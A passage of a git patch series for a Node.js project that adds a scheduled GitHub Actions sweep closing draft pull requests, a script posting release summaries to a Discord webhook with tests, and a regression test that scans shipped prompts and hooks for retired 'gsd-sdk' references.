completed pull requests. Draft PRs are automatically closed.', + '', + '**Why?** GSD requires all PRs to be ready for review when opened \u2014 with tests passing, the correct PR template used, and a linked approved issue. Draft PRs bypass these quality gates and create review overhead.', + '', + '### What to do instead', + '', + '1. Finish your implementation locally', + '2. Run `npm run test:coverage` and confirm all tests pass', + '3. Open a **non-draft** PR using the [correct template](https://github.com/' + repoUrl + '/blob/main/CONTRIBUTING.md#pull-request-guidelines)', + '', + 'See [CONTRIBUTING.md](https://github.com/' + repoUrl + '/blob/main/CONTRIBUTING.md) for the full process.', + ].join('\n'); + + const isEnforceableDraft = (pr) => + !!pr && pr.state === 'open' && pr.draft === true && + !MAINTAINER_ASSOCIATIONS.has(pr.author_association); + + const openPulls = await github.paginate(github.rest.pulls.list, { + owner: context.repo.owner, + repo: context.repo.repo, + state: 'open', + per_page: 100, + }); + + const candidates = openPulls.filter(isEnforceableDraft); + core.info('Sweep found ' + candidates.length + ' non-maintainer draft PR(s) of ' + openPulls.length + ' open.'); + + const failures = []; + + for (const candidate of candidates) { + try { + // Re-fetch immediately before mutating: the contributor may have + // marked the PR ready (or it may have closed) since pagination. + const { data: pr } = await github.rest.pulls.get({ + owner: context.repo.owner, + repo: context.repo.repo, + pull_number: candidate.number, + }); + + if (!isEnforceableDraft(pr)) { + core.info('Skipping PR #' + candidate.number + ' — no longer an open non-maintainer draft.'); + continue; + } + + // Close FIRST so enforcement (the primary action) is never gated + // on the explanatory comment. A closed PR is never revisited by a + // later sweep, so this also prevents duplicate comments. + await github.rest.pulls.update({ + owner: context.repo.owner, + repo: context.repo.repo, + pull_number: pr.number, + state: 'closed' + }); + + await github.rest.issues.createComment({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: pr.number, + body: commentBody + }); + + core.info('Closed draft PR #' + pr.number + ': ' + pr.title); + } catch (err) { + failures.push(candidate.number); + core.warning('Failed to process draft PR #' + candidate.number + ': ' + err.message); + } + } + + if (failures.length > 0) { + core.setFailed('Sweep encountered errors on ' + failures.length + ' draft PR(s): ' + failures.join(', ')); + } diff --git a/tests/workflow-maintainer-skip.test.cjs b/tests/workflow-maintainer-skip.test.cjs index 60e78ff5a..3f91a6c6d 100644 --- a/tests/workflow-maintainer-skip.test.cjs +++ b/tests/workflow-maintainer-skip.test.cjs @@ -46,4 +46,36 @@ describe('PR policy workflow maintainer carve-outs', () => { assertMaintainerSkip(workflow); }); + + test('draft PR sweep enforces the same policy as the event-driven close', () => { + const workflow = readWorkflow('.github/workflows/close-draft-prs-sweep.yml'); + + // Timer-driven in base-repo context, plus a manual dispatch for testing. + // It must NOT be a fork-triggered event (no pull_request / pull_request_target trigger). + assert.match(workflow, /schedule:/); + assert.match(workflow, /cron:\s*'0 \*\/6 \* \* \*'/); + assert.match(workflow, /workflow_dispatch:/); + assert.doesNotMatch(workflow, /^\s*pull_request(_target)?:/m); + + // Write-capable token (needed to close PRs from base context). Tolerant of + // intervening blank lines or additional permission keys. + assert.match(workflow, /permissions:\s+pull-requests:\s*write/); + + // Identical maintainer carve-out to close-draft-prs.yml — a Set membership + // test over author_association, negated (no github.event.pull_request in a + // scheduled run). + assert.match(workflow, /new Set\(\['OWNER', 'MEMBER', 'COLLABORATOR'\]\)/); + assert.match(workflow, /!MAINTAINER_ASSOCIATIONS\.has\([^)]*\.author_association\)/); + + // Paginates over open PRs and filters to drafts. + assert.match(workflow, /github\.paginate\(github\.rest\.pulls\.list/); + assert.match(workflow, /state:\s*'open'/); + assert.match(workflow, /pr\.draft === true/); + + // Same user-facing policy message as close-draft-prs.yml (locks the core + // content so the sweep cannot silently drift to a weaker message). + assert.match(workflow, /## Draft PRs are not accepted/); + assert.match(workflow, /npm run test:coverage/); + assert.match(workflow, /CONTRIBUTING\.md#pull-request-guidelines/); + }); }); From dd75400801f47e86dd6277657841d237bdf41362 Mon Sep 17 00:00:00 2001 From: Solvely-Colin <211764741+Solvely-Colin@users.noreply.github.com> Date: Sun, 7 Jun 2026 10:27:20 -0400 Subject: [PATCH 42/94] fix discord release changelog announcements --- .github/workflows/discord-changelog.yml | 142 +------ .github/workflows/release.yml | 26 ++ .../release-notes/discord-release-summary.cjs | 373 ++++++++++++++++++ tests/discord-release-summary.test.cjs | 92 +++++ 4 files changed, 508 insertions(+), 125 deletions(-) create mode 100644 scripts/release-notes/discord-release-summary.cjs create mode 100644 tests/discord-release-summary.test.cjs diff --git a/.github/workflows/discord-changelog.yml b/.github/workflows/discord-changelog.yml index 30ffbba78..768fb4881 100644 --- a/.github/workflows/discord-changelog.yml +++ b/.github/workflows/discord-changelog.yml @@ -19,131 +19,23 @@ jobs: runs-on: ubuntu-latest if: github.event_name == 'release' || github.event_name == 'workflow_dispatch' steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + - name: Post release changelog to Discord - uses: actions/github-script@v7 env: DISCORD_WEBHOOK_URL: ${{ secrets.DISCORD_CHANGELOG_WEBHOOK }} - RELEASE_TAG: ${{ inputs.release_tag }} - with: - script: | - const webhookUrl = process.env.DISCORD_WEBHOOK_URL; - - if (!webhookUrl) { - core.setFailed("Missing DISCORD_CHANGELOG_WEBHOOK secret."); - return; - } - - if (context.eventName !== "release" && context.eventName !== "workflow_dispatch") { - core.info(`Skipping ${context.eventName}; this workflow only posts releases.`); - return; - } - - const release = await getRelease(); - const messages = buildReleaseMessages(release); - - for (const content of messages) { - const response = await fetch(webhookUrl, { - method: "POST", - headers: { - "content-type": "application/json", - }, - body: JSON.stringify({ - username: "Repo Changelog", - content, - allowed_mentions: { - parse: [], - }, - }), - }); - - if (!response.ok) { - core.setFailed(`Discord webhook failed with ${response.status}: ${await response.text()}`); - return; - } - } - - async function getRelease() { - if (context.eventName === "release") { - return context.payload.release; - } - - const releaseTag = process.env.RELEASE_TAG; - const response = releaseTag - ? await github.rest.repos.getReleaseByTag({ - owner: context.repo.owner, - repo: context.repo.repo, - tag: releaseTag, - }) - : await github.rest.repos.getLatestRelease({ - owner: context.repo.owner, - repo: context.repo.repo, - }); - - return response.data; - } - - function buildReleaseMessages(release) { - const tag = release.tag_name || release.name || "release"; - const title = release.name || tag; - const notes = formatReleaseNotes(release.body || "") || "No release notes provided."; - const fullMessage = `**${title} Released**\n\n${notes}`; - - return splitDiscordMessage(fullMessage, 1900); - } - - function formatReleaseNotes(value) { - return truncate( - value - .replace(/\r\n/g, "\n") - .replace(/https:\/\/github\.com\/[^/\s]+\/[^/\s]+\/pull\/(\d+)/g, "#$1") - .replace(/https:\/\/github\.com\/[^/\s]+\/[^/\s]+\/issues\/(\d+)/g, "#$1") - .replace(/https:\/\/github\.com\/[^/\s]+\/[^/\s]+\/commit\/([0-9a-f]{7})[0-9a-f]*/gi, "$1") - .replace(/https:\/\/github\.com\/\S+/g, "") - .trim() - .split("\n") - .map((line) => { - const heading = line.match(/^#{1,6}\s+(.+)$/); - return heading ? `**${heading[1].trim()}**` : line; - }) - .join("\n") - .replace(/\n{3,}/g, "\n\n") - .trim(), - 3900, - ); - } - - function splitDiscordMessage(value, maxLength) { - if (value.length <= maxLength) { - return [value]; - } - - const chunks = []; - let remaining = value; - - while (remaining.length > maxLength) { - let splitAt = remaining.lastIndexOf("\n", maxLength); - - if (splitAt < 500) { - splitAt = remaining.lastIndexOf(" ", maxLength); - } - - if (splitAt < 500) { - splitAt = maxLength; - } - - chunks.push(remaining.slice(0, splitAt).trim()); - remaining = remaining.slice(splitAt).trim(); - } - - if (remaining) { - chunks.push(remaining); - } - - return chunks.map((chunk, index) => - index === 0 ? chunk : `**Changelog continued**\n\n${chunk}`, - ); - } - - function truncate(value, maxLength) { - return value.length <= maxLength ? value : `${value.slice(0, maxLength - 3)}...`; - } + GH_TOKEN: ${{ github.token }} + RELEASE_TAG: ${{ github.event.release.tag_name || inputs.release_tag }} + run: | + set -euo pipefail + if [ -n "${RELEASE_TAG:-}" ]; then + node scripts/release-notes/discord-release-summary.cjs \ + --tag "$RELEASE_TAG" \ + --repo "$GITHUB_REPOSITORY" \ + --post + else + node scripts/release-notes/discord-release-summary.cjs \ + --latest \ + --repo "$GITHUB_REPOSITORY" \ + --post + fi diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 52145edee..19867304a 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -444,6 +444,19 @@ jobs: node scripts/release-notes/format-github-release-notes.cjs \ --tag "v${PRE_VERSION}" --prerelease --apply + - name: Post Discord pre-release announcement + if: ${{ !inputs.dry_run }} + env: + DISCORD_WEBHOOK_URL: ${{ secrets.DISCORD_CHANGELOG_WEBHOOK }} + GH_TOKEN: ${{ github.token }} + PRE_VERSION: ${{ steps.prerelease.outputs.pre_version }} + run: | + node scripts/release-notes/discord-release-summary.cjs \ + --tag "v${PRE_VERSION}" \ + --repo "$GITHUB_REPOSITORY" \ + --post \ + --allow-missing-webhook + - name: Verify publish if: ${{ !inputs.dry_run }} env: @@ -616,6 +629,19 @@ jobs: node scripts/release-notes/format-github-release-notes.cjs \ --tag "v${VERSION}" --latest --apply + - name: Post Discord release announcement + if: ${{ !inputs.dry_run }} + env: + DISCORD_WEBHOOK_URL: ${{ secrets.DISCORD_CHANGELOG_WEBHOOK }} + GH_TOKEN: ${{ github.token }} + VERSION: ${{ inputs.version }} + run: | + node scripts/release-notes/discord-release-summary.cjs \ + --tag "v${VERSION}" \ + --repo "$GITHUB_REPOSITORY" \ + --post \ + --allow-missing-webhook + - name: Clean up next dist-tag if: ${{ !inputs.dry_run }} env: diff --git a/scripts/release-notes/discord-release-summary.cjs b/scripts/release-notes/discord-release-summary.cjs new file mode 100644 index 000000000..545bfda8f --- /dev/null +++ b/scripts/release-notes/discord-release-summary.cjs @@ -0,0 +1,373 @@ +#!/usr/bin/env node +'use strict'; + +const cp = require('node:child_process'); +const fs = require('fs'); +const path = require('path'); +const { ExitError, runMain } = require('../lib/cli-exit.cjs'); +const { classifyTitle } = require('./format-github-release-notes.cjs'); + +const DEFAULT_MAX_CONTENT = 1850; +const SECTION_LIMITS = Object.freeze([ + ['Breaking', 4], + ['Security', 4], + ['Feature', 4], + ['Fix', 4], + ['Enhancement', 3], + ['Internal', 2], + ['New Contributors', 3], +]); + +function normalizeNewlines(value) { + return String(value || '').replace(/\r\n/g, '\n'); +} + +function releaseTag(release) { + return release.tagName || release.tag_name || release.name || 'release'; +} + +function releaseName(release) { + return release.name || releaseTag(release); +} + +function releaseUrl(release) { + return release.url || release.html_url || ''; +} + +function releaseIsPrerelease(release) { + return release.isPrerelease === true || release.prerelease === true || /-/.test(releaseTag(release)); +} + +function loadPackageName(repoRoot = path.resolve(__dirname, '..', '..')) { + const pkgJson = JSON.parse(fs.readFileSync(path.join(repoRoot, 'package.json'), 'utf8')); + return pkgJson.name || 'package'; +} + +function normalizeHeading(value) { + const heading = value.trim().replace(/:$/, ''); + const lower = heading.toLowerCase(); + + if (lower.includes('breaking')) return 'Breaking'; + if (lower.includes('security')) return 'Security'; + if (lower === 'feature' || lower === 'features') return 'Feature'; + if (lower === 'fix' || lower === 'fixes' || lower === 'bug fixes') return 'Fix'; + if (lower === 'enhancement' || lower === 'enhancements' || lower === 'improvements') return 'Enhancement'; + if (lower === 'internal' || lower === 'maintenance') return 'Internal'; + if (lower === 'new contributors') return 'New Contributors'; + if (lower === "what's changed" || lower === 'whats changed') return "What's Changed"; + return heading; +} + +function collectSections(body) { + const sections = new Map(); + let current = null; + + for (const line of normalizeNewlines(body).split('\n')) { + const trimmed = line.trim(); + const heading = trimmed.match(/^#{2,3}\s+(.+)$/); + + if (heading) { + current = normalizeHeading(heading[1]); + continue; + } + + const bullet = trimmed.match(/^([*-])\s+(.+)$/); + if (!bullet || !current) continue; + + let section = current; + if (section === "What's Changed") { + section = classifyTitle(trimmed); + } + + if (!sections.has(section)) sections.set(section, []); + sections.get(section).push(cleanBullet(trimmed)); + } + + return sections; +} + +function cleanBullet(value) { + let text = String(value) + .replace(/^[*-]\s+/, '') + .replace(/\s+by\s+@[A-Za-z0-9-]+\s+in\s+https:\/\/github\.com\/[^/\s]+\/[^/\s]+\/pull\/(\d+)/g, ' (#$1)') + .replace(/\[([^\]]+)\]\((https:\/\/github\.com\/[^/\s]+\/[^/\s]+\/(?:pull|issues)\/(\d+))\)/g, '$1 (#$3)') + .replace(/\[([^\]]+)\]\((https?:\/\/[^)]+)\)/g, '$1') + .replace(/https:\/\/github\.com\/[^/\s]+\/[^/\s]+\/pull\/(\d+)/g, '#$1') + .replace(/https:\/\/github\.com\/[^/\s]+\/[^/\s]+\/issues\/(\d+)/g, '#$1') + .replace(/https:\/\/github\.com\/[^/\s]+\/[^/\s]+\/commit\/([0-9a-f]{7})[0-9a-f]*/gi, '$1') + .replace(/\*\*/g, '') + .replace(/\s+/g, ' ') + .trim(); + + text = text + .replace(/^\[codex\]\s+/i, '') + .replace(/^(?:feat|fix|docs|chore|ci|refactor|test)(?:\([^)]+\))?!?:\s+/i, ''); + text = text.replace(/#(\d+)\s+\(#\1\)/g, '#$1'); + text = text.replace(/\s+\(#(\d+)\)\s+\(#\1\)$/g, ' (#$1)'); + + return truncateAtWord(text, 220); +} + +function truncateAtWord(value, maxLength) { + if (value.length <= maxLength) return value; + const splitAt = value.lastIndexOf(' ', maxLength - 3); + if (splitAt < 80) return `${value.slice(0, maxLength - 3)}...`; + return `${value.slice(0, splitAt)}...`; +} + +function extractInstallCommand(body, packageName, release) { + const lines = normalizeNewlines(body).split('\n'); + let inInstall = false; + let inFence = false; + + for (const line of lines) { + const trimmed = line.trim(); + + if (/^##\s+Install\b/i.test(trimmed)) { + inInstall = true; + continue; + } + + if (inInstall && /^##\s+/.test(trimmed)) break; + if (!inInstall) continue; + + if (trimmed.startsWith('```')) { + inFence = !inFence; + continue; + } + + if (inFence && /^npm\s+(?:i|install)\s+/.test(trimmed)) { + return trimmed; + } + } + + const channel = releaseIsPrerelease(release) ? 'next' : 'latest'; + return `npm i ${packageName}@${channel}`; +} + +function buildDiscordReleasePayload({ release, packageName = loadPackageName(), maxContent = DEFAULT_MAX_CONTENT }) { + const tag = releaseTag(release); + const name = releaseName(release); + const url = releaseUrl(release); + const prerelease = releaseIsPrerelease(release); + const channel = prerelease ? 'next' : 'latest'; + const body = release.body || ''; + const sections = collectSections(body); + const footer = url ? `Full changelog: ${url}` : `Full changelog: ${tag}`; + const baseLines = [ + `**${packageName} ${name}${prerelease ? ' pre-release' : ''} is out**`, + '', + 'Install:', + `\`${extractInstallCommand(body, packageName, release)}\``, + ]; + + const lines = baseLines.slice(); + for (const [section, limit] of SECTION_LIMITS) { + appendSection(lines, section, sections.get(section) || [], limit, footer, maxContent); + } + + if (lines.length === baseLines.length) { + appendLineGroup(lines, ['', 'No release notes were provided.'], footer, maxContent); + } + + if (joinedLength(lines, footer) > maxContent) { + while (lines.length > baseLines.length && joinedLength(lines, footer) > maxContent) { + lines.pop(); + } + } + + const content = [...lines, '', footer].join('\n'); + return { + username: 'GSD Releases', + content, + embeds: [ + { + title: 'Release details', + url: url || undefined, + color: prerelease ? 0xd9a441 : 0x2f9e44, + fields: [ + { name: 'Package', value: `\`${packageName}\``, inline: true }, + { name: 'Channel', value: `\`${channel}\``, inline: true }, + { name: 'Version', value: `\`${tag}\``, inline: true }, + ], + }, + ], + allowed_mentions: { parse: [] }, + }; +} + +function appendSection(lines, section, bullets, limit, footer, maxContent) { + if (bullets.length === 0) return; + + const label = sectionLabel(section); + const selected = []; + for (const bullet of bullets.slice(0, limit)) { + const candidate = ['', `**${label}**`, ...selected.map((item) => `- ${item}`), `- ${bullet}`]; + if (joinedLength([...lines, ...candidate], footer) > maxContent) break; + selected.push(bullet); + } + + if (selected.length === 0) return; + + const group = ['', `**${label}**`, ...selected.map((item) => `- ${item}`)]; + const remaining = bullets.length - selected.length; + if (remaining > 0) { + const moreLine = `- ...and ${remaining} more ${label.toLowerCase()}`; + if (joinedLength([...lines, ...group, moreLine], footer) <= maxContent) { + group.push(moreLine); + } + } + + appendLineGroup(lines, group, footer, maxContent); +} + +function appendLineGroup(lines, group, footer, maxContent) { + if (joinedLength([...lines, ...group], footer) <= maxContent) { + lines.push(...group); + } +} + +function joinedLength(lines, footer) { + return [...lines, '', footer].join('\n').length; +} + +function sectionLabel(section) { + if (section === 'Feature') return 'Features'; + if (section === 'Fix') return 'Fixes'; + if (section === 'Enhancement') return 'Enhancements'; + return section; +} + +function fetchRelease({ tag, repo, latest = false }) { + const args = ['release', 'view']; + if (!latest && tag) args.push(tag); + args.push('--json', 'tagName,name,isPrerelease,body,url'); + if (repo) args.push('--repo', repo); + const raw = cp.execFileSync('gh', args, { encoding: 'utf8' }); + return JSON.parse(raw); +} + +async function postWebhook(webhookUrl, payload) { + const response = await fetch(webhookUrl, { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify(payload), + }); + + if (!response.ok) { + throw new ExitError(1, `Discord webhook failed with ${response.status}: ${await response.text()}`); + } +} + +function parseArgs(argv) { + const opts = { + tag: null, + repo: null, + latest: false, + stdin: false, + post: false, + json: false, + allowMissingWebhook: false, + packageName: null, + maxContent: DEFAULT_MAX_CONTENT, + }; + + const args = argv.slice(); + while (args.length > 0) { + const arg = args.shift(); + if (arg === '--tag') { + opts.tag = requireValue(args, arg); + } else if (arg === '--repo') { + opts.repo = requireValue(args, arg); + } else if (arg === '--package') { + opts.packageName = requireValue(args, arg); + } else if (arg === '--max-content') { + opts.maxContent = Number(requireValue(args, arg)); + } else if (arg === '--latest') { + opts.latest = true; + } else if (arg === '--stdin') { + opts.stdin = true; + } else if (arg === '--post') { + opts.post = true; + } else if (arg === '--json') { + opts.json = true; + } else if (arg === '--allow-missing-webhook') { + opts.allowMissingWebhook = true; + } else if (arg === '--help' || arg === '-h') { + process.stdout.write( + 'Usage: node scripts/release-notes/discord-release-summary.cjs [--tag |--latest|--stdin] [options]\n' + + '\n' + + 'Options:\n' + + ' --tag GitHub release tag to announce\n' + + ' --latest Announce the latest GitHub release\n' + + ' --stdin Read release JSON from stdin\n' + + ' --repo Repository for gh release view\n' + + ' --package Package name override\n' + + ' --post POST to DISCORD_WEBHOOK_URL\n' + + ' --allow-missing-webhook Warn and skip instead of failing when posting without a webhook\n' + + ' --json Print webhook payload JSON instead of content preview\n' + + ' --max-content Max Discord content characters before webhook footer\n' + ); + throw new ExitError(0); + } else { + throw new ExitError(2, `error: unknown argument ${arg}`); + } + } + + if (!Number.isFinite(opts.maxContent) || opts.maxContent < 500 || opts.maxContent > 2000) { + throw new ExitError(2, 'error: --max-content must be between 500 and 2000'); + } + + return opts; +} + +function requireValue(args, flag) { + const value = args.shift(); + if (!value || value.startsWith('-')) { + throw new ExitError(2, `error: ${flag} requires a value`); + } + return value; +} + +async function main() { + const opts = parseArgs(process.argv.slice(2)); + let release; + + if (opts.stdin) { + release = JSON.parse(fs.readFileSync('/dev/stdin', 'utf8')); + } else { + release = fetchRelease(opts); + } + + const payload = buildDiscordReleasePayload({ + release, + packageName: opts.packageName || loadPackageName(), + maxContent: opts.maxContent, + }); + + if (opts.post) { + const webhookUrl = process.env.DISCORD_WEBHOOK_URL; + if (!webhookUrl) { + if (opts.allowMissingWebhook) { + process.stderr.write('warning: DISCORD_WEBHOOK_URL is not set; skipping Discord announcement\n'); + } else { + throw new ExitError(1, 'error: DISCORD_WEBHOOK_URL is not set'); + } + } else { + await postWebhook(webhookUrl, payload); + } + } + + process.stdout.write(opts.json ? `${JSON.stringify(payload, null, 2)}\n` : `${payload.content}\n`); +} + +if (require.main === module) { + runMain(main); +} + +module.exports = { + buildDiscordReleasePayload, + cleanBullet, + collectSections, + extractInstallCommand, +}; diff --git a/tests/discord-release-summary.test.cjs b/tests/discord-release-summary.test.cjs new file mode 100644 index 000000000..0b3271c32 --- /dev/null +++ b/tests/discord-release-summary.test.cjs @@ -0,0 +1,92 @@ +'use strict'; + +const assert = require('node:assert/strict'); +const { describe, test } = require('node:test'); +const { + buildDiscordReleasePayload, + cleanBullet, + collectSections, + extractInstallCommand, +} = require('../scripts/release-notes/discord-release-summary.cjs'); + +const sampleRelease = { + tagName: 'v1.4.0-rc.1', + name: 'v1.4.0-rc.1', + isPrerelease: true, + url: 'https://github.com/open-gsd/gsd-core/releases/tag/v1.4.0-rc.1', + body: [ + '## Install', + '', + 'This pre-release is published to npm under the `next` dist-tag.', + '', + '```bash', + 'npm i @opengsd/gsd-core@1.4.0-rc.1', + '# or', + 'npm i @opengsd/gsd-core@next', + '```', + '', + '## What\'s Changed', + '', + '### Feature', + '* feat(#656): Research module cache by @trek-e in https://github.com/open-gsd/gsd-core/pull/664', + '* feat(#717): size budget on bytes by @trek-e in https://github.com/open-gsd/gsd-core/pull/719', + '* feat(#159): auto-use existing RESEARCH.md by @trek-e in https://github.com/open-gsd/gsd-core/pull/718', + '* feat(#703): add --granularity override by @trek-e in https://github.com/open-gsd/gsd-core/pull/750', + '* feat(#25): scope verifier Step 7b by @trek-e in https://github.com/open-gsd/gsd-core/pull/753', + '', + '### Fix', + '* fix(#663): resolve CodeQL alerts by @trek-e in https://github.com/open-gsd/gsd-core/pull/665', + '', + '**Full Changelog**: https://github.com/open-gsd/gsd-core/compare/v1.3.1...v1.4.0-rc.1', + ].join('\n'), +}; + +describe('discord release summary', () => { + test('builds a hybrid payload with a preserved full changelog URL', () => { + const payload = buildDiscordReleasePayload({ + release: sampleRelease, + packageName: '@opengsd/gsd-core', + maxContent: 1850, + }); + + assert.equal(payload.username, 'GSD Releases'); + assert.match(payload.content, /\*\*@opengsd\/gsd-core v1\.4\.0-rc\.1 pre-release is out\*\*/); + assert.match(payload.content, /`npm i @opengsd\/gsd-core@1\.4\.0-rc\.1`/); + assert.match(payload.content, /Full changelog: https:\/\/github\.com\/open-gsd\/gsd-core\/releases\/tag\/v1\.4\.0-rc\.1/); + assert.doesNotMatch(payload.content, /\*\*Full Changelog\*\*:\s*$/m); + assert.match(payload.content, /Research module cache \(#664\)/); + assert.match(payload.content, /\.\.\.and 1 more features/); + assert.equal(payload.embeds[0].fields[1].value, '`next`'); + }); + + test('summarizes auto-generated What Changed bullets when release notes are not yet curated', () => { + const sections = collectSections([ + '## What\'s Changed', + '* feat: add thing by @trek-e in https://github.com/open-gsd/gsd-core/pull/10', + '* fix: repair thing by @trek-e in https://github.com/open-gsd/gsd-core/pull/11', + '* docs: explain thing by @trek-e in https://github.com/open-gsd/gsd-core/pull/12', + ].join('\n')); + + assert.deepEqual(sections.get('Feature'), ['add thing (#10)']); + assert.deepEqual(sections.get('Fix'), ['repair thing (#11)']); + assert.deepEqual(sections.get('Enhancement'), ['explain thing (#12)']); + }); + + test('cleans common GitHub release-note link noise without deleting issue references', () => { + assert.equal( + cleanBullet('* fix: repair [#670](https://github.com/open-gsd/gsd-core/issues/670) by @trek-e in https://github.com/open-gsd/gsd-core/pull/675'), + 'repair #670 (#675)' + ); + }); + + test('falls back to the release channel when no install block exists', () => { + assert.equal( + extractInstallCommand('', '@opengsd/gsd-core', { tagName: 'v1.4.0-rc.1', isPrerelease: true }), + 'npm i @opengsd/gsd-core@next' + ); + assert.equal( + extractInstallCommand('', '@opengsd/gsd-core', { tagName: 'v1.4.0', isPrerelease: false }), + 'npm i @opengsd/gsd-core@latest' + ); + }); +}); From 8951f2907ed9ad274ab33907fd718c736aa01f7f Mon Sep 17 00:00:00 2001 From: Joe <44273333+jslitzkerttcu@users.noreply.github.com> Date: Sun, 7 Jun 2026 09:53:00 -0500 Subject: [PATCH 43/94] test(#339): regression guard for gsd-sdk refs in runtime surfaces (#691) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(#339): add regression guard for gsd-sdk refs in runtime surfaces Lock in the already-clean runtime surface so a retired `gsd-sdk`/`GSD_SDK` reference cannot creep back into a shipped prompt or hook. Scans gsd-core/workflows, gsd-core/references, commands/gsd, agents, and hooks (excluding the gitignored dist/ build artifact). Complements gsd-tools-path-refs.test.cjs, which only catches the `gsd-sdk query` binary form; this catches any runtime reference. A second test guards against an empty sweep so a future dir rename can't silently turn the guard into a no-op. Intentionally does NOT touch bin/install.js (live stale-package-detection mechanics per #339 triage) or CI/lint scripts (legitimate stale detection). Refs #339 * test(#339): split file content on /\r?\n/ for Windows CRLF parity The windows-test-parity-guard lint requires test files that readFileSync + split to use /\r?\n/, not '\n', so CRLF files don't leave a trailing \r. New test files are not in the PR #3649 allowlist. * test(#339): cover .sh/.json runtime files in workflows surface Address #691 review: the gsd-core/workflows surface scanned only .md, silently skipping two deployed runtime files — _runtime-launcher.snippet.sh (synced into every hook) and discuss-phase/templates/checkpoint.json. Add .sh/.json so the guard covers all 290 deployed runtime files (was 288/290), not just the .md subset. * test(#339): cover templates/contexts surfaces + per-ext empty-sweep guard Address PR #691 review (trek-e): - Add gsd-core/templates and gsd-core/contexts to RUNTIME_SURFACES — both are deep-copied by the installer and runtime-loaded via @~/.claude/gsd-core/templates/*.md anchors, so a reintroduced gsd-sdk ref there would have slipped past the guard. (major) - Reword the bin/install.js exclusion rationale: it has zero gsd-sdk refs today (subsystem removed in #515, shim retired in #522); the real reason it is excluded is that it is installer code, not a deployed prompt/hook surface. (minor) - Make the empty-sweep guard assert coverage per configured extension, not per surface — .md files alone kept gsd-core/workflows green even if .sh/.json were dropped, silently un-covering _runtime-launcher.snippet.sh and discuss-phase/templates/*.json. (low) --------- Co-authored-by: Tom Boucher --- .../bug-3810-no-gsd-sdk-runtime-refs.test.cjs | 133 ++++++++++++++++++ 1 file changed, 133 insertions(+) create mode 100644 tests/bug-3810-no-gsd-sdk-runtime-refs.test.cjs diff --git a/tests/bug-3810-no-gsd-sdk-runtime-refs.test.cjs b/tests/bug-3810-no-gsd-sdk-runtime-refs.test.cjs new file mode 100644 index 000000000..bd72b35e0 --- /dev/null +++ b/tests/bug-3810-no-gsd-sdk-runtime-refs.test.cjs @@ -0,0 +1,133 @@ +// allow-test-rule: source-text-is-the-product +// Runtime prompt/hook files are deployed verbatim — their text IS what the +// runtime loads and executes. Asserting that text carries no retired `gsd-sdk` +// reference tests the deployed contract, which no behavioral seam can observe +// (there is no runtime API that enumerates "did any shipped prompt name the +// removed SDK binary"). + +/** + * Regression guard: no `gsd-sdk` references in runtime-facing surfaces (#339). + * + * The `@opengsd/gsd-sdk` package and its `gsd-sdk` binary were retired (ADR 0174, + * #191). The bulk runtime cleanup is already done — this test locks it in so a + * `gsd-sdk` / `GSD_SDK` reference cannot creep back into a shipped prompt or hook + * and re-introduce drift between the documented surface and the supported + * `gsd-tools` binary. + * + * Scope: runtime surfaces only — the prompts and hooks the installer ships into + * a user's runtime config dir. Explicitly NOT covered here: + * - `bin/install.js` — installer code, not a runtime-deployed prompt/hook + * surface. (It carries zero `gsd-sdk` references today; the SDK-shim + * verification subsystem was removed in #515 and the shim retired in #522.) + * - `gsd-core/bin/` — executable library code, not deployed prompt text; it + * may legitimately reference the SDK retirement in comments. + * - `tests/`, `docs/`, `.changeset/`, CI/lint scripts — legitimately reference + * the SDK retirement as history or detect its stale artifacts. + * + * Complements `tests/gsd-tools-path-refs.test.cjs`, which only catches the + * `gsd-sdk query` binary-invocation form; this catches ANY runtime reference. + */ + +'use strict'; + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const path = require('node:path'); + +const REPO_ROOT = path.join(__dirname, '..'); + +// Runtime surfaces the installer ships. Each entry is { dir, exts } — dir is +// repo-relative, exts is the set of file extensions whose text is deployed. +const RUNTIME_SURFACES = [ + // .md prompts plus the non-.md runtime artifacts this dir also ships: + // _runtime-launcher.snippet.sh (the canonical launcher synced into every hook + // by scripts/sync-runtime-launcher.cjs) and discuss-phase/templates/*.json + // (loaded at runtime by discuss-phase.md). Scanning only .md left these two + // deployed files uncovered. (#691 review) + { dir: path.join('gsd-core', 'workflows'), exts: ['.md', '.sh', '.json'] }, + { dir: path.join('gsd-core', 'references'), exts: ['.md'] }, + // Prompt surfaces the installer deep-copies and the runtime loads via + // `@~/.claude/gsd-core/templates/*.md` anchors in workflows/commands; the + // lone config.json under templates/ ships too. (#691 review) + { dir: path.join('gsd-core', 'templates'), exts: ['.md', '.json'] }, + { dir: path.join('gsd-core', 'contexts'), exts: ['.md'] }, + { dir: path.join('commands', 'gsd'), exts: ['.md'] }, + { dir: 'agents', exts: ['.md'] }, + // Hooks ship as executable text (.js/.cjs/.sh). `hooks/dist/` is a gitignored + // build artifact regenerated from these sources, so scanning the sources is + // sufficient and avoids asserting against generated copies. + { dir: 'hooks', exts: ['.js', '.cjs', '.sh'], skipDirs: ['dist'] }, +]; + +// Matches every casing/separator variant of the retired SDK token: +// gsd-sdk, gsd_sdk, GSD-SDK, GSD_SDK, etc. +const SDK_REF = /gsd[-_]sdk/i; + +/** + * Recursively collect files under `absDir` whose extension is in `exts`, + * skipping any directory name listed in `skipDirs`. + */ +function collectFiles(absDir, exts, skipDirs) { + if (!fs.existsSync(absDir)) return []; + const out = []; + for (const entry of fs.readdirSync(absDir, { withFileTypes: true })) { + if (entry.isDirectory()) { + if (skipDirs.includes(entry.name)) continue; + out.push(...collectFiles(path.join(absDir, entry.name), exts, skipDirs)); + } else if (entry.isFile() && exts.includes(path.extname(entry.name))) { + out.push(path.join(absDir, entry.name)); + } + } + return out; +} + +function rel(file) { + return path.relative(REPO_ROOT, file).split(path.sep).join('/'); +} + +describe('#339 no gsd-sdk references in runtime surfaces', () => { + test('shipped prompts and hooks carry no retired gsd-sdk reference', () => { + const violations = []; + + for (const { dir, exts, skipDirs = [] } of RUNTIME_SURFACES) { + const files = collectFiles(path.join(REPO_ROOT, dir), exts, skipDirs); + for (const file of files) { + const lines = fs.readFileSync(file, 